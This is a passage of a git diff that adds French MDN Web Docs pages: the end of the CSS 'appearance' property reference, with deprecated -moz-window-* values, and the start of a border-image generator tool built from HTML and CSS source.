+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleWinMediaToolbox",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64. Ce style de boîte à outils est destiné aux applications qui gèrent des objets média. La couleur de premier plan correspondante est <code>-moz-win-mediatext</code>.</td>
+  </tr>
+  <tr>
+   <td><code>-moz-window-button-box</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleWindowButtonBox">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: -moz-window-button-box; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleWindowButtonBox",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64.</td>
+  </tr>
+  <tr>
+   <td><code>-moz-window-button-box-maximized</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleWindowButtonBoxMaximized">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: -moz-window-button-box-maximized; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleWindowButtonBoxMaximized",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64.</td>
+  </tr>
+  <tr>
+   <td><code>-moz-window-button-close</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleWindowButtonClose">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: -moz-window-button-close; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleWindowButtonClose",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64.</td>
+  </tr>
+  <tr>
+   <td><code>-moz-window-button-maximize</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleWindowButtonMaximize">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: -moz-window-button-maximize; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleWindowButtonMaximize",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64.</td>
+  </tr>
+  <tr>
+   <td><code>-moz-window-button-minimize</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleWindowButtonMinimize">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: -moz-window-button-minimize; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleWindowButtonMinimize",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64.</td>
+  </tr>
+  <tr>
+   <td><code>-moz-window-button-restore</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleWindowButtonRestore">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: -moz-window-button-restore; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleWindowButtonRestore",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64.</td>
+  </tr>
+  <tr>
+   <td><code>-moz-window-frame-bottom</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleWindowFrameBottom">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: -moz-window-frame-bottom; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleWindowFrameBottom",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64.</td>
+  </tr>
+  <tr>
+   <td><code>-moz-window-frame-left</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleWindowFrameLeft">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: -moz-window-frame-left; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleWindowFrameLeft",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64.</td>
+  </tr>
+  <tr>
+   <td><code>-moz-window-frame-right</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleWindowFrameRight">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: -moz-window-frame-right; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleWindowFrameRight",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64.</td>
+  </tr>
+  <tr>
+   <td><code>-moz-window-titlebar</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleWindowTitlebar">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: -moz-window-titlebar; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleWindowTitlebar",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64.</td>
+  </tr>
+  <tr>
+   <td><code>-moz-window-titlebar-maximized</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleWindowTitlebarMaximized">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: -moz-window-titlebar-maximized; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleWindowTitlebarMaximized",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64.</td>
+  </tr>
+  <tr>
+   <td><code>-apple-pay-button</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleApplePayButton">
+    <pre class="brush: css">
+div{ color: black;
+-webkit-appearance: -apple-pay-button; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleApplePayButton",100,50,"","", "nobutton")}}</td>
+   <td>Safari</td>
+   <td><strong>iOS et macOS uniquement</strong>. Disponible depuis iOS 10.1 et macOS 10.12.1</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{CSSSyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>La règle suivante permet que l'élément ait l'apparence d'un bouton d'une barre d'outils :</p>
+
+<pre class="brush: css">.exempleun {
+  appearance: toolbarbutton;
+  -moz-appearance: toolbarbutton;
+  -webkit-appearance: toolbarbutton;
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Basic UI', "#appearance-switching", "appearance")}}</td>
+   <td>{{Spec2('CSS3 Basic UI')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.appearance")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a class="external" href="https://www.w3.org/TR/2004/CR-css3-ui-20040511/#appearance">Définition de <code>appearance</code> dans la recommandation CSS 3 Basic User Interface</a> (<em>Candidate Recommendation</em> du 11 mai 2004), qui n'est plus à jour</li>
+ <li><a href="https://drafts.csswg.org/css-ui-4/#appearance-switching">Brouillon pour la propriété appearance dans le module CSS Basic UI de niveau 4</a></li>
+ <li><a class="external" href="https://wiki.csswg.org/spec/css4-ui#dropped-css3-features">Les fonctionnalités abandonnées pour la spécification CSS3 sur le module d'interface utilisateur</a></li>
+</ul>
diff --git a/files/fr/web/css/arrière-plans_et_bordures_css/générateur_border-image/index.html b/files/fr/web/css/arrière-plans_et_bordures_css/générateur_border-image/index.html
new file mode 100644
index 0000000000..592f9f64fd
--- /dev/null
+++ b/files/fr/web/css/arrière-plans_et_bordures_css/générateur_border-image/index.html
@@ -0,0 +1,2626 @@
+---
+title: Générateur de border-image
+slug: Web/CSS/Arrière-plans_et_bordures_CSS/Générateur_border-image
+tags:
+  - CSS
+  - Outil
+translation_of: Web/CSS/CSS_Background_and_Borders/Border-image_generator
+---
+<p>Cet outil peut être utilisé afin de générer des valeurs pour la propriété {{cssxref("border-image")}}.</p>
+
+<div style="display: none;">
+<h2 id="Border_Image_Generator" name="Border_Image_Generator">Générateur border-image</h2>
+
+<h3 id="Contenu_HTML">Contenu HTML</h3>
+
+<pre class="brush: html">    &lt;div id="container"&gt;
+
+        &lt;div id="gallery"&gt;
+            &lt;div id="image-gallery"&gt;
+                &lt;img class="image" src="https://mdn.mozillademos.org/files/6007/border-image-1.png" data-stateID="border1"/&gt;
+                &lt;img class="image" src="https://mdn.mozillademos.org/files/6009/border-image-2.png" data-stateID="border2"/&gt;
+                &lt;img class="image" src="https://mdn.mozillademos.org/files/6011/border-image-3.png" data-stateID="border3"/&gt;
+                &lt;img class="image" src="https://mdn.mozillademos.org/files/6013/border-image-4.png" data-stateID="border4"/&gt;
+                &lt;img class="image" src="https://mdn.mozillademos.org/files/6015/border-image-5.png" data-stateID="border5"/&gt;
+                &lt;img class="image" src="https://mdn.mozillademos.org/files/6017/border-image-6.svg" data-stateID="border6"/&gt;
+            &lt;/div&gt;
+        &lt;/div&gt;
+
+        &lt;div id="load-actions" class="group section"&gt;
+            &lt;div id="toggle-gallery" data-action="hide"&gt; &lt;/div&gt;
+            &lt;div id="load-image" class="button"&gt; Upload image &lt;/div&gt;
+            &lt;input id="remote-url" type="text" placeholder="Charger une image depuis une  URL"/&gt;
+            &lt;div id="load-remote" class="button"&gt; &lt;/div&gt;
+        &lt;/div&gt;
+
+        &lt;div id="general-controls" class="group section"&gt;
+            &lt;div class="name"&gt; Options &lt;/div&gt;
+            &lt;div class="separator"&gt;&lt;/div&gt;
+            &lt;div class="property"&gt;
+                &lt;div class="name"&gt;Échelle&lt;/div&gt;
+                &lt;div class="ui-input-slider" data-topic="scale"
+                    data-unit="%" data-max="300" data-sensivity="10"&gt;
+                &lt;/div&gt;
+            &lt;/div&gt;
+            &lt;div class="separator"&gt;&lt;/div&gt;
+            &lt;div class="property"&gt;
+                &lt;div class="name"&gt;Déplaçable&lt;/div&gt;
+                &lt;div class="ui-checkbox" data-topic='drag-subject'&gt;&lt;/div&gt;
+            &lt;/div&gt;
+            &lt;div class="property right"&gt;
+                &lt;div class="name"&gt;Hauteur de la section&lt;/div&gt;
+                &lt;div class="ui-input-slider" data-topic="preview-area-height"
+                    data-min="400" data-max="1000"&gt;
+                &lt;/div&gt;
+            &lt;/div&gt;
+        &lt;/div&gt;
+
+        &lt;div id="preview_section" class="group section"&gt;
+            &lt;div id="subject"&gt;
+                &lt;div class="guideline" data-axis="Y" data-topic="slice-top"&gt;&lt;/div&gt;
+                &lt;div class="guideline" data-axis="X" data-topic="slice-right"&gt;&lt;/div&gt;
+                &lt;div class="guideline" data-axis="Y" data-topic="slice-bottom"&gt;&lt;/div&gt;
+                &lt;div class="guideline" data-axis="X" data-topic="slice-left"&gt;&lt;/div&gt;
+            &lt;/div&gt;
+            &lt;div id="preview"&gt; &lt;/div&gt;
+        &lt;/div&gt;
+
+        &lt;!-- controls --&gt;
+        &lt;div id="controls" class="group section"&gt;
+
+            &lt;!-- border-image-slice --&gt;
+            &lt;div id="border-slice-control" class="category"&gt;
+                &lt;div class="title"&gt; border-image-slice &lt;/div&gt;
+                &lt;div class="property"&gt;
+                    &lt;div class="name"&gt;fill&lt;/div&gt;
+                    &lt;div class="ui-checkbox" data-topic='slice-fill'&gt;&lt;/div&gt;
+                &lt;/div&gt;
+            &lt;/div&gt;
+
+            &lt;!-- border-image-width --&gt;
+            &lt;div id="border-width-control" class="category"&gt;
+                &lt;div class="title"&gt; border-image-width &lt;/div&gt;
+            &lt;/div&gt;
+
+            &lt;!-- border-image-outset --&gt;
+            &lt;div id="border-outset-control" class="category"&gt;
+                &lt;div class="title"&gt; border-image-outset &lt;/div&gt;
+            &lt;/div&gt;
+
+            &lt;!-- other-settings --&gt;
+            &lt;div id="aditional-properties" class="category"&gt;
+                &lt;div class="title"&gt; Autres propriétés &lt;/div&gt;
+                &lt;div class="property"&gt;
+                    &lt;div class="name"&gt; repeat-x &lt;/div&gt;
+                    &lt;div class="ui-dropdown border-repeat" data-topic="image-repeat-X" data-selected="2"&gt;
+                        &lt;div data-value="0"&gt;repeat&lt;/div&gt;
+                        &lt;div data-value="0"&gt;stretch&lt;/div&gt;
+                        &lt;div data-value="0"&gt;round&lt;/div&gt;
+                    &lt;/div&gt;
+                &lt;/div&gt;
+                &lt;div class="property"&gt;
+                    &lt;div class="name"&gt; repeat-y &lt;/div&gt;
+                    &lt;div class="ui-dropdown border-repeat" data-topic="image-repeat-Y" data-selected="2"&gt;
+                        &lt;div data-value="1"&gt;repeat&lt;/div&gt;
+                        &lt;div data-value="1"&gt;stretch&lt;/div&gt;
+                        &lt;div data-value="1"&gt;round&lt;/div&gt;
+                    &lt;/div&gt;
+                &lt;/div&gt;
+                &lt;div class="property"&gt;
+                    &lt;div class="ui-input-slider" data-topic="font-size" data-info="em size"
+                        data-unit="px" data-value="12" data-sensivity="3"&gt;
+                    &lt;/div&gt;
+                &lt;/div&gt;
+
+                &lt;div class="property"&gt;
+                    &lt;div class="ui-input-slider" data-topic="preview-width" data-info="width"
+                         data-unit=" px" data-min="10" data-max="10000" data-sensivity="3"&gt;&lt;/div&gt;
+                &lt;/div&gt;
+                &lt;div class="property"&gt;
+                    &lt;div class="ui-input-slider" data-topic="preview-height" data-info="height"
+                        data-unit=" px" data-min="10" data-max="10000" data-sensivity="3"&gt;
+                    &lt;/div&gt;
+                &lt;/div&gt;
+            &lt;/div&gt;
+
+
+            &lt;div id="output" class="category"&gt;
+                &lt;div class="title"&gt; Code CSS &lt;/div&gt;
+                &lt;div class="css-property"&gt;
+                    &lt;span class="name"&gt; border-image-slice: &lt;/span&gt;
+                    &lt;span id="out-border-slice" class="value"&gt; &lt;/span&gt;
+                &lt;/div&gt;
+                &lt;div class="css-property"&gt;
+                    &lt;span class="name"&gt; border-image-width: &lt;/span&gt;
+                    &lt;span id="out-border-width" class="value"&gt; &lt;/span&gt;
+                &lt;/div&gt;
+                &lt;div class="css-property"&gt;
+                    &lt;span class="name"&gt; border-image-outset: &lt;/span&gt;
+                    &lt;span id="out-border-outset" class="value"&gt; &lt;/span&gt;
+                &lt;/div&gt;
+                &lt;div class="css-property"&gt;
+                    &lt;span class="name"&gt; border-image-repeat: &lt;/span&gt;
+                    &lt;span id="out-border-repeat" class="value"&gt; &lt;/span&gt;
+                &lt;/div&gt;
+                &lt;div class="css-property"&gt;
+                    &lt;span class="name"&gt; border-image-source: &lt;/span&gt;
+                    &lt;span id="out-border-source" class="value"&gt;  &lt;/span&gt;
+                &lt;/div&gt;
+            &lt;/div&gt;
+
+        &lt;/div&gt;
+    &lt;/div&gt;</pre>
+
+<h3 id="CSS_Content">CSS Content</h3>
+
+<pre class="brush: css">/*  GRID OF TWELVE
+ * ========================================================================== */
+
+.span_12 {
+	width: 100%;
+}
+
+.span_11 {
+	width: 91.46%;
+}
+
+.span_10 {
+	width: 83%;
+}
+
+.span_9 {
+	width: 74.54%;
+}
+
+.span_8 {
+	width: 66.08%;
+}
+
+.span_7 {
+	width: 57.62%;
+}
+
+.span_6 {
+	width: 49.16%;
+}
+
+.span_5 {
+	width: 40.7%;
+}
+
+.span_4 {
+	width: 32.24%;
+}
+
+.span_3 {
+	width: 23.78%;
+}
+
+.span_2 {
+	width: 15.32%;
+}
+
+.span_1 {
+	width: 6.86%;
+}
+
+
+/*  SECTIONS
+ * ========================================================================== */
+
+.section {
+	clear: both;
+	padding: 0px;
+	margin: 0px;
+}
+
+/*  GROUPING
+ * ========================================================================== */
+
+
+.group:before, .group:after {
+    content: "";
+    display: table;
+}
+
+.group:after {
+    clear:both;
+}
+
+.group {
+    zoom: 1; /* For IE 6/7 (trigger hasLayout) */
+}
+
+/*  GRID COLUMN SETUP
+ * ========================================================================== */
+
+.col {
+	display: block;
+	float:left;
+	margin: 1% 0 1% 1.6%;
+}
+
+.col:first-child {
+	margin-left: 0;
+} /* all browsers except IE6 and lower */
+
+
+
+/*
+ * UI Component
+ */
+
+.ui-input-slider {
+	height: 20px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	-moz-user-select: none;
+	user-select: none;
+}
+
+.ui-input-slider * {
+	float: left;
+	height: 100%;
+	line-height: 100%;
+}
+
+/* Input Slider */
+
+.ui-input-slider &gt; input {
+	margin: 0;
+	padding: 0;
+	width: 50px;
+	text-align: center;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.ui-input-slider-info {
+	width: 90px;
+	padding: 0px 10px 0px 0px;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-input-slider-left, .ui-input-slider-right {
+	width: 16px;
+	cursor: pointer;
+	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat;
+}
+
+.ui-input-slider-right {
+	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center right no-repeat;
+}
+
+.ui-input-slider-name {
+	width: 90px;
+	padding: 0 10px 0 0;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-input-slider-btn-set {
+	width: 25px;
+	background-color: #2C9FC9;
+	border-radius: 5px;
+	color: #FFF;
+	font-weight: bold;
+	line-height: 14px;
+	text-align: center;
+}
+
+.ui-input-slider-btn-set:hover {
+	background-color: #379B4A;
+	cursor: pointer;
+}
+
+/*************************************************************************************/
+/*************************************************************************************/
+
+/*
+ * UI DropDown
+ */
+
+/* Dropdown */
+
+.ui-dropdown {
+	height: 2em;
+	width: 120px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	font-size: 12px;
+
+	background-image: url("https://mdn.mozillademos.org/files/6037/drop_arrow_icon.png");
+	background-position: right center;
+	background-repeat: no-repeat;
+	background-color: #359740;
+
+	position: relative;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.ui-dropdown:hover {
+	cursor: pointer;
+	background-color: #208B20;
+}
+
+/* Dropdown Select Button */
+
+.ui-dropdown-select {
+	height: inherit;
+	padding: 0 0.75em;
+	color: #FFF;
+	line-height: 2em;
+}
+
+/* Dropdown List */
+
+.ui-dropdown-list {
+	width: 100%;
+	height: 150px;
+	max-height: 150px;
+	margin: 0;
+	padding: 0 0.3em;
+
+	border: 3px solid #3490D2;
+	border-color: #208B20;
+	background: #666;
+	background-color: #EEF1F5;
+	color: #000;
+
+	position: absolute;
+	top: 2em;
+	left: 0;
+	z-index: 100;
+
+	overflow: hidden;
+	transition: all 0.3s;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.ui-dropdown-list:hover {
+	overflow: auto;
+}
+
+.ui-dropdown-list[data-hidden='true'] {
+	height: 0 !important;
+	opacity: 0;
+	visibility: hidden;
+}
+
+.ui-dropdown[data-position='left'] .ui-dropdown-list {
+	left: -100%;
+	top: 0;
+}
+
+.ui-dropdown[data-position='right'] .ui-dropdown-list {
+	left: 100%;
+	top: 0;
+}
+
+.ui-dropdown-list &gt; div {
+	width: 100%;
+	height: 1.6em;
+	margin: 0.3em 0;
+	padding: 0.3em;
+	line-height: 1em;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.ui-dropdown-list &gt; div:hover {
+	background: #3490D2;
+	color:#FFF;
+	border-radius: 2px;
+	cursor: pointer;
+}
+
+
+/*************************************************************************************/
+/*************************************************************************************/
+
+/*
+ * UI Button
+ */
+
+/* Checkbox */
+
+.ui-checkbox {
+	text-align: center;
+	font-size: 16px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	line-height: 1.5em;
+	color: #FFF;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.ui-checkbox &gt; input {
+ 	display: none;
+}
+
+.ui-checkbox &gt; label {
+	font-size: 12px;
+	padding: 0.333em 1.666em 0.5em;
+	height: 1em;
+	line-height: 1em;
+
+	background-color: #888;
+	background-image: url("https://mdn.mozillademos.org/files/5683/disabled.png");
+	background-position: center center;
+	background-repeat: no-repeat;
+
+	color: #FFF;
+	border-radius: 2px;
+	font-weight: bold;
+	float: left;
+}
+
+.ui-checkbox .text {
+	padding-left: 34px;
+	background-position: center left 10px;
+}
+
+.ui-checkbox .left {
+	padding-right: 34px;
+	padding-left: 1.666em;
+	background-position: center right 10px;
+}
+
+.ui-checkbox &gt; label:hover {
+	cursor: pointer;
+}
+
+.ui-checkbox &gt; input:checked + label {
+	background-image: url("https://mdn.mozillademos.org/files/5681/checked.png");
+	background-color: #379B4A;
+}
+
+/*************************************************************************************/
+/*************************************************************************************/
+
+/*
+ * BORDER IMAGE GENERATOR TOOL
+ */
+
+body {
+	width: 100%;
+	margin: 0 auto;
+	padding: 0 0 20px 0;
+
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+
+	/*background: url("https://mdn.mozillademos.org/files/6025/grain.png");*/
+	border: 1px solid #EEE;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+body[data-move='X'] {
+	cursor: w-resize !important;
+}
+
+body[data-move='Y'] {
+	cursor: s-resize !important;
+}
+
+#container {
+	width: 100%;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+[data-draggable='true']:hover {
+	cursor: move;
+}
+
+[data-draggable='true']:hover &gt; * {
+	cursor: default;
+}
+
+
+
+/******************************************************************************/
+/******************************************************************************/
+
+/*
+ * Border Image Picker
+ */
+
+#gallery {
+	box-shadow: 0 0 3px 0 #BABABA;
+}
+
+#image-gallery {
+	width: 600px;
+	height: 100px;
+	margin: 0 auto;
+	transition: margin 0.4s;
+}
+
+#image-gallery .image {
+	height: 80px;
+	float: left;
+	margin: 10px;
+	opacity: 0.5;
+	background-color: #FFF;
+	box-shadow: 0px 0px 3px 1px #BABABA;
+}
+
+#image-gallery .image[selected="true"] {
+	box-shadow: 0px 0px 3px 1px #3BBA52;
+	opacity: 1;
+}
+
+#image-gallery .image:hover {
+	cursor: pointer;
+	box-shadow: 0px 0px 3px 1px #30ACE5;
+	opacity: 1;
+}
+
+#image-gallery[data-collapsed='true'] {
+	margin-top: -100px;
+}
+
+/* Load Menu */
+
+#load-actions {
+	margin: 10px 0;
+}
+
+#toggle-gallery {
+	width: 30px;
+	height: 25px;
+	margin: 10px;
+	color: #FFF;
+
+	background-image: url('https://mdn.mozillademos.org/files/6005/arrow-up-white.png');
+	background-repeat: no-repeat;
+	background-position: top 4px center;
+	background-color: #888888 !important;
+
+	border-radius: 2px;
+	float: left;
+}
+
+#toggle-gallery:hover {
+	cursor: pointer;
+}
+
+#toggle-gallery[data-action='show'] {
+	background-image: url('https://mdn.mozillademos.org/files/6001/arrow-down-white.png');
+	background-color: #888888 !important;
+}
+
+#toggle-gallery[data-action='hide'] {
+	background-image: url('https://mdn.mozillademos.org/files/6005/arrow-up-white.png');
+}
+
+.button {
+	width: 100px;
+	height: 25px;
+	margin: 10px;
+	color: #FFF;
+	text-align: center;
+	font-size: 12px;
+	line-height: 25px;
+	background-color: #379B4A;
+	border-radius: 2px;
+	float: left;
+}
+
+.button:hover {
+	cursor: pointer;
+	background-color: #3380C4;
+}
+
+#load-image {
+	float: left;
+}
+
+#load-remote {
+	width: 30px;
+	background-image: url('https://mdn.mozillademos.org/files/6003/arrow-right-white.png');
+	background-repeat: no-repeat;
+	background-position: center center;
+}
+
+#remote-url {
+	width: 200px;
+	height: 23px;
+	margin: 10px;
+	padding: 0 5px;
+	border: 1px solid #379B4A;
+	border-radius: 2px;
+	float: left;
+
+	transition: width 0.5s;
+}
+
+#remote-url:focus {
+	box-shadow: 0px 0px 3px -1px #379B4A; /*#68ACE8; */
+	border-color: rgba(55, 155, 74, 0.5);
+	width: 450px;
+}
+
+/*
+ * Visible Area
+ */
+
+#preview_section {
+	position: relative;
+	min-height: 400px;
+}
+
+/* Image Control */
+
+#subject {
+	width: 300px;
+	height: 300px;
+	background-repeat: no-repeat;
+	background-size: 100%;
+	background-color: #FFF;
+	border: 1px solid #CCC;
+
+	position: absolute;
+	z-index: 10;
+	top: 15%;
+	left: 10%;
+
+	box-shadow: 0 0 3px 0 #BABABA;
+	transition-property: width, height;
+	transition-duration: 0.1s;
+}
+
+#subject .guideline {
+	background-color: rgba(255, 255, 255, 0.7);
+	border: 1px solid rgba(0, 0, 0, 0.3);
+	position: absolute;
+}
+
+#subject .guideline:hover {
+	background-color: #F00;
+}
+
+#subject .guideline[data-active] {
+	background-color: #F00;
+	z-index: 10;
+}
+
+#subject .guideline[data-axis='X'] {
+	width: 1px;
+	height: 100%;
+	top: -1px;
+}
+
+#subject .guideline[data-axis='Y'] {
+	width: 100%;
+	height: 1px;
+	left: -1px;
+}
+
+#subject .guideline[data-axis='X']:hover {
+	cursor: w-resize;
+}
+
+#subject .guideline[data-axis='Y']:hover {
+	cursor: s-resize;
+}
+
+
+#subject .relative {
+	position: relative;
+	font-size: 12px;
+}
+
+#subject .tooltip, #subject .tooltip2 {
+	width: 40px;
+	height: 20px;
+	line-height: 20px;
+	font-size: 12px;
+	text-align: center;
+
+	position: absolute;
+	opacity: 0.5;
+	transition: opacity 0.25s;
+}
+
+#subject .tooltip {
+	background: #EEE;
+	border-radius: 2px;
+	border: 1px solid #CCC;
+}
+
+#subject .tooltip2{
+	color: #555;
+}
+
+#subject [data-active] &gt; * {
+	opacity: 1;
+}
+
+#subject .tooltip[data-info='top'] {
+	top: -10px;
+	right: -50px;
+}
+
+#subject .tooltip[data-info='right'] {
+	bottom: -30px;
+	right: -20px;
+}
+
+#subject .tooltip[data-info='bottom'] {
+	top: -10px;
+	left: -50px;
+}
+
+#subject .tooltip[data-info='left'] {
+	top: -30px;
+	right: -20px;
+}
+
+#subject .tooltip2[data-info='top'] {
+	top: -10px;
+	left: -50px;
+}
+
+#subject .tooltip2[data-info='right'] {
+	top: -30px;
+	right: -20px;
+}
+
+#subject .tooltip2[data-info='bottom'] {
+	top: -10px;
+	right: -50px;
+}
+
+#subject .tooltip2[data-info='left'] {
+	bottom: -30px;
+	right: -20px;
+}
+
+/* Preview */
+
+#preview {
+	width: 30%;
+	height: 50%;
+	background-color: #FFF;
+	text-align: center;
+	overflow: hidden;
+	position: absolute;
+	z-index: 10;
+
+	left: 60%;
+	top: 15%;
+
+	border-radius: 2px;
+	border-image-width: 20px;
+	border-image-repeat: round;
+	box-shadow: 0 0 3px 0 #BABABA;
+}
+
+#preview .resize-handle {
+	width: 10px;
+	height: 10px;
+	background: url("https://mdn.mozillademos.org/files/6027/resize.png") center center no-repeat;
+	position: absolute;
+	bottom: 0;
+	right: 0;
+}
+
+#preview .resize-handle:hover {
+	cursor: nw-resize;
+}
+
+
+/*
+ * General controls MENU
+ */
+
+#general-controls {
+	padding: 10px 30px;
+	background-color: #FFF;
+	opacity: 0.95;
+	color: #888;
+	/*border-radius: 2px;*/
+	box-shadow: 0 0 3px 0 #BABABA;
+}
+
+#general-controls .property {
+	width: 130px;
+	float: left;
+}
+
+#general-controls .name {
+	height: 20px;
+	margin: 0 10px 0 0;
+	line-height: 100%;
+	text-align: right;
+	float: left;
+}
+
+#general-controls .right {
+	width: 200px;
+	float: right;
+}
+
+#general-controls .ui-checkbox label {
+	height: 10px;
+}
+
+#general-controls .separator {
+	height: 40px;
+	width: 1px;
+	margin: -10px 15px;
+	background-color: #EEE;
+	float: left;
+}
+
+/*
+ * Controls
+ */
+
+#controls {
+	color: #444;
+	margin: 10px 0 0 0;
+}
+
+#controls .category {
+	height: 190px;
+	min-width: 260px;
+	margin: 10px;
+	padding: 10px;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+	float: left;
+
+	box-shadow: 0 0 3px 0 #BABABA;
+	transition: all 0.25s;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+@media (min-width: 880px) {
+	#controls .category {
+		width: 30%;
+		margin-left: 1.66%;
+		margin-right: 1.66%;
+	}
+}
+
+@media (max-width: 879px) {
+	#controls .category {
+		width: 37%;
+		margin-left: 6.5%;
+		margin-right: 6.5%;
+	}
+}
+
+#controls .category .title {
+	width: 100%;
